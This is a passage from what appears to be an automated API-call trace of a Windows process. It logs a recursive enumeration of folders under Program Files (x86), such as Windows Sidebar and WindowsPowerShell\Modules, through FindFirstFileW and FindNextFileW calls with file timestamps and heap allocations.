ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0192.950] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45656d0 [0192.950] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned 46 [0192.950] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532440 [0192.951] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.951] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0192.951] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.951] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.951] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0192.951] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45656d0 [0192.951] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned 53 [0192.951] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532300 [0192.952] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.952] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0192.952] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0192.952] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.952] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0192.952] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0192.952] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.952] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0192.952] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45b9750 [0192.952] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell") returned 40 [0192.952] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531f80 [0192.954] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.954] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0192.954] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45656d0 [0192.954] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration") returned 54 [0192.954] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532080 [0192.955] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.956] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0192.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0192.956] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration") returned 67 [0192.956] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0192.957] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.957] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0192.957] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0192.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.957] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0192.957] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0192.957] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema") returned 61 [0192.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532440 [0192.958] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.958] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0192.958] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.958] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0192.958] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.959] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0192.959] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45656d0 [0192.959] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules") returned 48 [0192.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532440 [0192.961] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.961] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0192.961] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0192.961] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 90 [0192.962] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0192.963] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.963] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0192.963] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45446b8 [0192.963] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 96 [0192.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532080 [0192.966] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.966] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0192.966] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0192.966] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 108 [0192.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0192.966] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.966] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0192.967] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0192.968] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 122 [0192.968] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532300 [0192.969] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.969] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, 